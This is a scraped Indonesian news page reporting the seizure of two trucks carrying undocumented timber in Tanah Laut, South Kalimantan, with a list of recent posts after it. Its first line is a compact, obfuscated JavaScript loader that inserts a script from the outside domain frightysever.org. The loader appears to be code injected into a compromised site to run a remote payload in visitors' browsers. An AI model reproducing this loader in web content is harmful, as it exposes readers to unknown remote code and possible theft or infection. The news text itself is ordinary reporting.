(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Dua Truk Pengangkut Kayu Tanpa Dokumen Diamankan Polhut dan TKPH Kalsel


BANJARBARU, Dua truk pengangkut kayu ilegal tanpa dilengkapi dokumen sah diamanakan oleh  Polisi Kehutanan (Polhut) dan Tenaga Kontrak Pengamanan Hutan (TKPH) Dinas Kehutanan Kalimantan Selatan, di kawasan hutan Kintap, Kabupaten Tanah Laut, Selasa (6/3). Diperkirakan kayu jenis bulat dan plat tersebut mencapai 16 kubik.

Saat tengah melakukan patroli rutin di kawasan tersebut pukul 02.00 Wita, tim mendapati dua truk pengangkut kayu. Petugas pun lantas melakukan pemeriksaan dokumen atas kayu tersebut. Namun setelah dicek, ternyata sopir kedua truk tersebut tak mampu menunjukkan dokumen sah, sehingga kendaraan bersama kayu yang diangkutnya diamankan.

Kasi Pengamanan Hutan Panca Satata didampingi Penyidik Dishut Rudiono Herlambang menyatakan kemungkinan kayu tersebut diambil dari eks IUPHHK HA PT. Hutan Kintap. “Untuk itu kita sekarang lagi meneliti barang bukti tersebut. Pelaku sudah diamankan untuk keperluan penyelidikan di ruang POLHUT kantor Tahura Sultan Adam Banjarbaru, dan barang bukti sudah tiba di halaman belakang kantor Tahura SA Banjarbaru pada pukul 07:00 Wita pagi tadi,” jelasnya.

Pelaku dinilai telah melanggar UU No 18 Tahun 2013 tentang P3H. Dalam kasus ini, Dinas Kehutanan diperkirakan telah melakukan penyelamatan uang negara sebesar Rp 14.044.000 untuk kedua truk tersebut.

“Pelaku utamanya melanggar Pasal 12 ayat 1 huruf B, UU No 18 Tahun 2013 dengan ancaman hukuman 5 tahun dan denda sebesar Rp 5 miliar,” pungkasnya.

Sebelumnya, jajaran Polhut juga berhasil mengamankan sebuah truk fuso bermuatan kayu yang diduga hasil pembalakan liar di kawasan hutan lindung di Desa Gendang Timburu, Kecamatan Sungai Durian, Kabupaten Kotabaru, Jumat (20/10/2017). Oleh petugas, truk berbadan jumbo bernomor polisi DA 1164 AN bermuatan kayu balokan jenis rimba campuran, di antaranya; meranti, keriung, kuranji, hingga kayu durian ini lantas dibawa ke Kantor Dinas Kehutanan di Banjarbaru berserta sopirnya berinisial ASR, warga Banjarmasin.

Penangkapan truck fuso bermuatan kayu balokan yang diduga akan dikirim ke pulau Jawa ini bermula saat petugas melakukan patroli di kawasan hutan lindung di wilayah Kecamatan Sungai Durian, Jum’at lalu sekitar pukul 10.00 Wita. Karena kedapatan sedang berhenti di kawasan hutan lindung, lanjutnya, pun lagi kayu tak dilengkapi  dokumen, truk berserta sopirlanya langsung diamankan dan dibawa ke Kantor Dinas Kehutanan di Banjarbaru.(cel)

Reporter: Cel
Eitor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.